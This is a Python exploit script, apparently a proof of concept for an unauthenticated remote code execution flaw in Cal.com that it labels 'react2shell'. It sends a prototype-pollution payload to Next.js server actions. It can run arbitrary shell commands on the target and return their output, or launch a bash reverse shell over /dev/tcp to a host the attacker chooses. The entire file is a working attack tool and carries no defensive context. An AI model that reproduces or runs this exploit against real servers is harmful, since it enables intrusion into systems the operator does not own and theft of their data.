#!/usr/bin/env python3 import argparse import json import re import requests def cmd_prefix(cmd): return ( "var res = process.mainModule.require('child_process')" f".execSync('{cmd}',{{'timeout':10000}}).toString();" "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});" ) def shell_prefix(host, port): rs = f'setsid bash -c "bash -i >& /dev/tcp/{host}/{int(port)} 0>&1" >/dev/null 2>&1 &' return ( "process.mainModule.require('child_process')" f".execSync('{rs}',{{'timeout':5000}});" "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`sent`});" ) def send(target, prefix): payload = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": prefix, "_formData": {"get": "$1:constructor:constructor"}, }, } files = {"0": (None, json.dumps(payload)), "1": (None, '"$@0"')} return requests.post(target, files=files, headers={"Next-Action": "x"}, timeout=20) def main(): ap = argparse.ArgumentParser(description="Cal.com CVE-2025-71389 (react2shell) unauth RCE") ap.add_argument("target", help="base URL, e.g. http://10.10.10.10:3000/") g = ap.add_mutually_exclusive_group(required=True) g.add_argument("-c", "--cmd", help="run a single command (output returned inline)") g.add_argument("--shell", metavar="HOST:PORT", help="spawn a reverse shell to HOST:PORT") args = ap.parse_args() if args.cmd: r = send(args.target, cmd_prefix(args.cmd)) m = re.search(r'\{"digest":"(.*?)"\}', r.text, re.S) print(m.group(1).encode().decode("unicode_escape") if m else r.text[:600]) else: host, _, port = args.shell.partition(":") print(f"[*] sending reverse shell to {host}:{port}") send(args.target, shell_prefix(host, port)) print("[+] payload sent") if __name__ == "__main__": main()